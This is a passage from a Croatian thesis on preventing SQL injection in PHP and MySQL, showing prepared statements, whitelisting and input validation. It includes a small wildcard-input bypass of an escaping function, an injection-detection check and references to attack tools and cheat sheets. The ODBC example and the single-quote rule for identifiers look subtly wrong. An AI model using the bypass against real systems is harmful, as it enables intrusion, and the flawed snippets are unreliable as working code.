Primjer koda 7.16 Uporaba funkcije mysql_real_escape_string (PHP) [34]
Kao što je prikazano u Primjer koda 7.16 i
dalje je potrebno provjeriti koristi li se Magic quotes pa poboljšana verzija
nije veliki odmak. To se provjerava funkcijom get_magic_quotes_gpc() te ako se Magic
quotes koristi potrebno je dodatno pozvati funkciju stripslashes().
$user_input = ‘%’;
|
Primjer
koda 7.17 Propust funkcije mysql_real_escape_string (PHP) [34]
Funkcija mysql_real_escape_string() ne kodira znak
postotka koji se koristi primjerice u LIKE dijelovima upita.
Napadač može promijeniti skup znakova te
time zaobići cijeli sistem obrane stoga uporaba ove funkcije nije dovoljno
dobro rješenje za obranu od umetanja programskog koda SQL. U skladu s time, funkcija
mysql_real_escape_string() označena je nepoželjnom u
PHP verziji 5.5.0 te potpuno izbačena u PHP verziji 7.0.0 te ju ima smisla
koristiti jedino još u starom legacy kodu
u starijim verzijama programskog jezika PHP.
Pravila za formatiranje
nisu jednostavna i zahtijevaju određen
napor stoga se puno lakše prikloniti opcijama escapeinga, što je prihvatljivo samo u iznimnim slučajevima. SQL
upit je program, sa sintaksom koji koristi različite tipove podataka koje
je sve potrebno zasebno formatirati. Kvalitetno formatiranje korištenjem
pojedinih jednostavnih funkcija poput mysql_real_escape_string() nije
moguće te su takve funkcije s razlogom izbačene iz jezika. Jedan
poziv “magične“ funkcije ne može zamijeniti cijele skupove pravila za
formatiranje.
Pravila za formatiranje za MySQL bazu
podataka [35]:
Znakovni nizovi
-
Trebaju biti dodavani putem
pripremljenih naredbi ili zatvoreni navodnicima
-
Specijalni znakovi moraju proći escaping
-
Korisnički unos može
biti kodiran u heksadekadskom sustavu ili na klijentskoj strani treba biti
postavljeno kodiranje (engl. encoding)
Brojevi
-
Trebaju biti dodavani putem
pripremljenih naredbi
-
Ako nisu dodavani putem
pripremljenih naredbi moraju biti validirani i formatirani tako da sadrže samo
brojeve, predznak i decimalni zarez ili točku
Identifikatori
-
trebaju biti zatvoreni
jednostrukim navodnicima
-
Specijalni znakovi moraju
proći escaping
Operatori i ključne
riječi
-
trebaju biti popisani u bijeloj
listi
Problem nastaje kada se radi ručno
formatiranje. Nikad se ručno ne bi trebao obrađivati korisnički
unos već implementirati mehanizam koji
to formatiranje odrađuje. Ručno formatiranje je sklono pogreškama jer
ovisi o previše ljudskih faktora. Lako je previdjeti nešto čime formatiranje
postaje nepotpuno. Važno je da se formatiranje odvija na jednom mjestu te samo
jednom i u pravom trenutku. Sve što ulazi u SQL upit
mora biti formatirano bez obzira na to je li došlo od strane korisnika ili kao
rezultat izvođenja dijela koda. Ako se pravilno formatiranje postavi kao
obavezno, siguran kod doći će sam po sebi kao popratna pojava.
Tehnika obrane od umetanja programskog koda SQL, pripremljene naredbe,
opisana je detaljnije u poglavlju 7.1.1. Ovo
poglavlje bit će fokusirano na praktičnu primjenu u programskom
jeziku PHP.
$stmt = $db->prepare('update people set name = ? where
id = ?'); $stmt->bind_param('si',$name,$id); $stmt->execute(); |
Primjer
koda 7.18 Pripremljena naredba (PHP) [37]
Primjer koda 7.19 koristi MySQLi (engl. MySQL Improved), biblioteku za PHP koja pruža sučelje prema
bazama podataka MySQL.
$variable = “O’Reilly”; // Prepare the query $query =
$mysqli->prepare(“SELECT x, y, z FROM tablename WHERE user = ?”); // Bind a parameter, ‘s’
= string, ‘d’ = double, ‘i’ = integer, ‘b’ = blob $query->bind_param(‘s’,
$variable); // Execute query $query->execute( ); // More complex query $query =
$mysqli->prepare(“UPDATE tablename SET favorite_color = ?, age = ?,
description = ? WHERE user = ?”); $query->bind_param(‘sibs’,
‘red’, 27, $some_blob, $variable); $query->execute(); |
Primjer koda 7.19 Uporaba MySQLi (PHP) [34]
Uz biblioteku
MySQLi, najčešće možemo pronaći korištenje PDO-a. PDO (engl. PHP Data
Objects) predstavlja čist način pristupa bazi podataka što
međuostalom znači da programeri mogu puno lakše pisati prenosiv kod.
Nije apstrakcijski sloj, već podatkovni koji pristupa bazi podataka i
smatra se univerzalnim rješenjem jer pruža podršku za sve najpoznatije sustave
baza podataka.
$dbh = new
PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password); $stmt = $dbh->prepare('INSERT INTO
REGISTRY (name, value) VALUES (:name, :value)'); $stmt->bindParam(':name', $name); $stmt->bindParam(':value',
$value); // Insert one row $name = 'one'; $value = 1; $stmt->execute(); |
Primjer
koda 7.20 Uporaba PDO (PHP) [37]
$dbh = new
PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password); $stmt = $dbh->prepare('UPDATE
people SET name = :new_name WHERE id = :id'); $stmt->execute( array('new_name' => $name, 'id' => $id) ); |
Primjer
koda 7.21 Uporaba PDO (PHP) [37]
Pripremljene naredbe mogu
spriječiti napade umetanjem programskog koda SQL, no ne mogu spriječiti loše podatke stoga korisničke
unose u svakom slučaju treba validirati, što se razlikuje od escapinga ili formatiranja. U
većini slučajeva, u programskom jeziku PHP,
korisna je funkcija filter_var()
čija je primjena prikazana u Primjer koda 7.22.
$email = filter_var($_POST['email'],
FILTER_VALIDATE_EMAIL); if (empty($email)) { throw
new InvalidArgumentException('Invalid email address'); } |
Primjer koda 7.22 Validacija uporabom funkcije filter_var() (PHP) [36]
Kako je opisano u poglavlju 7.1.3. za određene slučajeve varijable ne mogu biti parametrizirane stoga se mora koristiti bijela
lista.
$dir = $_GET['dir'] == 'DESC' ?
'DESC' : 'ASC'; $sql = "SELECT * FROM t ORDER BY field $dir"; |
Primjer
koda 7.23 Validacija poretka sortiranja (PHP) [35]
$qs = 'SELECT * FROM photos WHERE
album = ?'; // Use switch-case for an explicit
whitelist switch ($_POST['orderby']) {
case 'name':
case 'uploaded':
// These strings are trusted and expected
$qs .= ' ORDER BY ' . $_POST['orderby'];
if (!empty($_POST['asc'])) { $qs .= ' ASC';
} else { $qs .= ' DESC';
}
break;
default:
// Some other value was passed
$qs .= ' ORDER BY photoid DESC';
} $stmt = $db->prepare($qs); if
($stmt->execute([$_POST['album_id']])) {
$photos = $stmt->fetchAll(\PDO::FETCH_ASSOC); } |
Primjer
koda 7.24 Validacija naziva tablica i atributa (PHP) [36]
Kako se nazivi tablica i atributa
ne mogu parametrizirati također ih treba validirati, a ne samo napraviti escapeing posebnih znakova poput
jednostrukog navodnika.
if (!preg_match('/^[A-Za-z][A-Za-z0-9_]*$/',
$table)) {
throw new AppSpecificSecurityException("Possible SQL injection
attempt."); } // And now you can safely use it in a query: $stmt = $pdo->prepare("SELECT * FROM
{$table}"); if ($stmt->execute()) {
$results = $stmt->fetchAll(PDO::FETCH_ASSOC); } |
Primjer
koda 7.25 Validacija naziva tablica (PHP) [36]
Navedeni programski odsječak
dozvoljava samo naziv tablice takav da počinje velikim ili malim slovom te
se sastoji samo od alfanumeričkih znakova (brojke i slova) i donje povlake.
Dodatne bibilioteke koje podržavaju parametrizaciju
ADOdb je jednostavan, brz i popularan apstraktni
sloj prema bazi podataka za programski jezik PHP. Omogućava pripremu,
povezivanje parametara i izvršavanje u jednom pozivu metode te je neovisan o
sustavu baze podataka.
$dbConnection =
NewADOConnection($connectionString); $sqlResult = $dbConnection->Execute(
'SELECT user_id,first_name,last_name FROM users WHERE username=? AND
password=?',
array($_REQUEST['username'], sha1($_REQUEST['password']) ); |
Primjer
koda 7.26 Uporaba ADOdb [37]
ODBC (engl.
Open
Database Connectivity) je standardan API za pristup
sustavima za upravljanje bazama podataka. Neovisan je o sustavu baza podataka i
operativnom sustavu što znači da napisan kod prenosiv.
$stmt = odbc_prepare( $conn, 'SELECT
* FROM users WHERE email = ?' ); $success = odbc_execute( $stmt, array($email) ); |
Primjer
koda 7.27 Uporaba ODBC [37]
$dbh = odbc_exec($conn, 'SELECT *
FROM users WHERE email = ?', array($email)); $sth = $dbh->prepare('SELECT *
FROM users WHERE email = :email'); $sth->execute(array(':email' => $email)); |
Primjer
koda 7.28 Uporaba ODBC [37]
EasyDB je još jedna
biblioteka za programski jezik PHP koja podržava i dinamičke upite. Više
primjera moguće je pronaći na EasyDB.
$rows = $db->run(
'SELECT * FROM comments WHERE blogpostid = ? ORDER BY created ASC',
$_GET['blogpostid'] ); |
Primjer
koda 7.29 Uporaba EasyDB [36]
Informiranost o sigurnosnim ranjivostima i mogućim posljedicama
iskorištavanja ključan je preduvjet za siguran dizajn i ostvarenja
programskih sustava. Najčešći napadi koji iskorištavaju ranjivosti su
napadi umetanjem programskog koda SQL te iako je lako izbjeći većinu
napada, nedostaje znanja i svjesnosti o mogućim posljedicama da se takvi
napadi onemoguće. Postoje zajednice koje stvaraju vodiče i dokumente
s fokusom na tehnike kojima se sprečavaju napadi umetanjem programskog
koda SQL i takve izvore treba koristiti prilikom izrade sustava i programa. Sa
strane napadača, također je vrlo lako pronaći resurse s
informacijama o izvođenju napada te postoji mnoštvo alata koji olakšavaju
napadaču tako što automatiziraju cijeli proces. U bazama podataka se
obično nalaze svi važni, pa samim time i napadačima zanimljivi,
podaci aplikacije. Uviđanjem u jednostavnost izvođenja i
pristupačnost informacija potrebno je više vremena i truda uložiti oko
sprečavanja ranjivosti i izvođenja napada te time i mogućih
velikih gubitaka. Postoji više tehnika za obranu od umetanja programskog koda
SQL no potrebno je paziti u kojem kontekstu se koriste budući da
općenito najbolje rješenje nije svugdje primjenjivo ili optimalno.
Sigurnost
počinje s programerima. Svaki podatak je potencijalno opasan, bez obzira
na način kojim je dospio u aplikaciju. Sve što se koristi treba biti
validirano i formatirano i trebaju se koristiti postojeća, i prema
situaciji, optimalna rješenja. Imajući to na umu siguran kod dolazi kao
popratna pojava i ne zadaje programerima toliko brige oko sigurnosti.
[1] Wikipedia, SQL
Injection [Online] Dostupno na: https://en.wikipedia.org/wiki/SQL_injection
[2] Wikipedia, Code
Injection [Online] Dostupno na: https://en.wikipedia.org/wiki/Code_injection
[3] Wikipedia, Vulnerability
[Online] Dostupno na: https://en.wikipedia.org/wiki/Vulnerability_%28computing%29
[4] Wikipedia, OWASP
[Online] Dostupno na: https://en.wikipedia.org/wiki/OWASP
[5] OWASP, Top 10 2013 [Online]
Dostupno na: https://www.owasp.org/index.php/Top_10_2013-Table_of_Contents
[6] OWASP, Top 10 – A1
Injection [Online] Dostupno na: https://www.owasp.org/index.php/Top_10_2013-A1-Injection
[7] OWASP, Testing for
SQL Injection [Online] Dostupno na: https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OTG-INPVAL-005%29
[8] OWASP, SQL
Injection Prevention Cheat Sheet [Online] Dostupno na: https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
[9] Wikipedia, Vulnerability
Database [Online] Dostupno na: https://en.wikipedia.org/wiki/Vulnerability_database
[10] CVE, Common
Vulnerabilities and Exposures [Online] Dostupno na: http://cve.mitre.org/find/index.html
[11] NVD, National
Vulnerability Database [Online] Dostupno na: https://nvd.nist.gov/
[12] IBM, IBM X-Force Exchange[Online] Dostupno na: https://exchange.xforce.ibmcloud.com/
[13] LinkedIn, Best
Free Open Source SQL Injection Tools[Online] Dostupno na: https://www.linkedin.com/pulse/best-free-open-source-sql-injection-tools-ismail-orhan-bsceng-ceh
[14] Aldeid, The Mole
[Online] Dostupno na: https://www.aldeid.com/wiki/TheMole
[15] Sourceforge, The
Mole [Online] Dostupno na: https://sourceforge.net/projects/themole/
[16] Sourceforge, sqlsus
[Online] Dostupno na: http://sqlsus.sourceforge.net/
[17] Sourceforge, Safe3
SQL Injector [Online] Dostupno na: https://sourceforge.net/projects/safe3si/?source=navbar
[18] Sourceforge, Sqlninja
[Online] Dostupno na: http://sqlninja.sourceforge.net/
[19] Github, sqlmap
[Online] Dostupno na: https://github.com/sqlmapproject/sqlmap
[20] Github, BSQL
Hacker [Online] Dostupno na: https://github.com/portcullislabs/bsql-hacker
[21] MySQL, Službena MySQL dokumentacija [Online] Dostupno na: http://dev.mysql.com/doc/refman/5.7/en/
[22] Pentestmonkey, MySQL
SQL Injection Cheat Sheet [Online] Dostupno na: http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
[23] SQL Injection Wiki, MySQL
SQL Injection Cheat Sheet [Online] Dostupno na: http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/#InitialExploitation
[24] Kolar, A., Provjera
ranjivosti programskih sustava s naglaskom na umetanje SQL koda, 2016,
Fakultet elektrotehnike i računarstva
[25] Microsoft, HttpClass
[Online] Dostupno
na: https://msdn.microsoft.com/en-us/library/system.net.http.httpclient(v=vs.118).aspx
[26] Microsoft, Stopwatch
[Online] Dostupno na: https://msdn.microsoft.com/en-us/library/system.diagnostics.stopwatch(v=vs.110).aspx
[27] Json.NET Documentation, JsonConvert [Online] Dostupno na: http://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_JsonConvert.htm
[28] Wikipedia, Code
Injection [Online] Dostupno na: https://en.wikipedia.org/wiki/Code_injection#Preventing_code_injection_problems
[29] Wikipedia, Secure
Input and Output Handling [Online] Dostupno na: https://en.wikipedia.org/wiki/Secure_input_and_output_handling
[30] OWASP, SQL
Injection Prevention Cheat Sheet [Online] Dostupno na: https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
[31] Wikipedia, Prepared
statement [Online] Dostupno na: https://en.wikipedia.org/wiki/Prepared_statement
[32] OWASP, Query
Parameterization Cheat Sheet [Online] Dostupno na: https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet
[33] Wikipedia, Stored
procedure [Online] Dostupno na: https://en.wikipedia.org/wiki/Stored_procedure
[34] simon.net.nz, Protecting
MySQL from SQL Injection Attacks with PHP [Online] Dostupno na: http://simon.net.nz/articles/protecting-mysql-sql-injection-attacks-using-php/
[35] PHP Delusions, The
Hitchiker’s Guide to SQL Injection Prevention [Online] Dostupno na: https://phpdelusions.net/sql_injection
[36] Paragon Initiative, Preventing
SQL Injection in PHP Applications [Online] Dostupno na: https://paragonie.com/blog/2015/05/preventing-sql-injection-in-php-applications-easy-and-definitive-guide
[37] Bobby Tables, A
Guide to Preventing SQL Injection [Online] Dostupno na: http://bobby-tables.com/php
[38] OWASP, Enterprise
Security API [Online] Dostupno na: https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
U radu je objašnjen pojam sigurnosnih
ranjivosti i predstavljene su najvažnije baze ranjivosti koje čuvaju
podatke o otkrivenim ranjivostima. Pojašnjen je princip umetanja koda i pobliže
umetanje programskog koda SQL, standardno ispitivanje otpornosti sustava na
umetanje SQL koda te pregled i usporedba alata za provjeru ranjivosti na napade.
Detaljno su pojašnjene tehnike napada umetanjem SQL koda i predstavljena
vlastita implementacija jednostavnog alata s nekoliko navedenih tehnika. Rad je
zaokružen tehnikama obrana od umetanja koda općenito te umetanja SQL koda
s posebnim naglaskom na prakse vezane za programski jezik PHP i sustav za
upravljanje bazama podataka MySQL.
This thesis explains the concept of
security vulnerabilities and introduces the most important vulnerability
databases that contain information about known vulnerabilities. Additionally,
it explains the concepts of code injection, and particularly SQL code
injection, as well as standard SQL injection resistance testing, and provides a
list and comparison of the various tools for vulnerability testing. It details
techniques for SQL injection attacks and provides a custom implementation for
an attack tool utilizing some of those techniques. The thesis closes with
general code, and particularly SQL code injection defense techniques, with an
emphasis on practices concerning the PHP programming language and the MySQL
database management system.